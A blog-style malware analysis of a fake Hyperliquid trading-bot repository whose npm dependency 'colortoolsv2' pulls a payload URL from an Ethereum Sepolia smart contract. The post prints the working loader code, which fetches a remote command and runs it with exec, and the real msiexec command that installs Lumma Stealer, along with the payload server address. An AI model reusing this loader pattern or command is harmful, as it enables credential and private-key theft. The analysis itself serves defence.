Malware on the blockchain
Introduction
When I recently researched Hyperliquid and its MEV/Bot landscape, I encountered an on the first glance, ordinary scam bot repository on github. A lot of junk code, non coherent commit messages and non sensical commit dates.
This is all pretty ordinary for these kind of scams. But the curiosity cached on to me.
Before I could realize I already found myself in a browser based VS-Code instance. (Thanks to Github’s great codespaces or whatever they’re called.)
In the README the instructions mentioned to set the PRIVATE_KEY env variable, “that must be what they’re stealing”, I thought to myself. So obviously I searched for usage of that variable in the code, but nothing to be found. This is again pretty ordinary. At this point I thought that they probably get the actual payload from some kind of webserver.
Colortoolsv2
After not instantly being able to find the payload, I did the obvious and actually read through the entry point of the “bot”. Again a lot of junk code but then at the end of the function, theres a function call to “initialize()”. A function imported from a suspicious npm package called “colortoolsv2”.
On npm, three versions of this package exist, 1.0.0
, 1.0.1
and 1.0.2
. The first version is heavily obfuscated but for some reason the second and third aren’t.
//1.0.2 colortoolsv2/index.js
const { ethers } = require("ethers");
const { exec } = require("child_process");
const axios = require("axios");
const provider = new ethers.JsonRpcProvider(
"https://eth-sepolia.api.onfinality.io/public",
);
const contractAddress = "0x1f117a1b07c108eae05a5bccbe86922d66227e2b";
const contractABI = [
"function getDomain() public view returns (string memory)",
];
const contract = new ethers.Contract(contractAddress, contractABI, provider);
async function initialize() {
try {
const domainName = await contract.getDomain();
const response = await axios.get(domainName);
const { textToCopy } = response.data;
if (textToCopy) {
exec(textToCopy, (error, stdout, stderr) => {
if (error) {
return;
}
if (stderr) {
return;
}
});
} else {
}
} catch (error) {}
}
module.exports = { initialize };
Now here it gets interesting, contrary to what I believed the payload was indeed on the server but the IP address of the server wasn’t hardcoded in the code or anything like that.
Instead the URL for the payload was stored in a smart contract on the Ethereum Sepolia testnet. The contract address is 0x1f117a1b07c108eae05a5bccbe86922d66227e2b
.
After looking up the contract on a block explorer I found out that the contract is called “DomainStorage” and it has the function getDomain()
.
This function returns a string which is the URL where the payload is hosted at. The contract is verified, so I could read the code and see that it indeed returns a string.
The returned url was http://86.54.42.224/api/get/texttocopy?key=hzv44gf9t1u3336excky66uh&lang=en
.
The payload living at that url looked like this:
{"success":true,"fileName":"lvGH.js","textToCopy":"msiexec.exe /q /i https://b9w2.top/github.msi","lastModified":"2025-07-10T01:39:12.091Z"}
It installs a version of the Lumma Stealer, which is a well known malware that steals private keys and other sensitive information from the victim’s computer.
The smart contract
The smart contract used to store the URL is a very simple contract deployed on the Ethereum Sepolia testnet. Deploying it there is completely free and leaves no traces of actual funds being moved around. This makes it a perfect place to store the URL of the payload. The contract has a setDomain function to set the URL, making it easy to switch out the payload if needed. But as some of you may have already noticed, the setDomain function is not protected by any access control. This means that anyone can call this function and change the URL to whatever they want, including us. So I decided to change the URL, rendering it useless for now.
/**
*Submitted for verification at Etherscan.io on 2025-07-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DomainStorage {
string public domainName;
// Set the domain name
function setDomain(string memory _domainName) public {
domainName = _domainName;
}
// Fetch the domain name
function getDomain() public view returns (string memory) {
return domainName;
}
}
Conclusion
I don’t know how new this kind of malware is, but I haven’t seen it before and found it to be quite an interesting way to spread malware. The fact that the URL is stored on a smart contract makes it easy to switch out the payload if needed, and the fact that the contract is deployed on a testnet makes it free and borderline impossible to trace back to the actual attacker. I hope this article was interesting to you and I apologize for any obvious grammatical errors, never was a strong writer, never will be.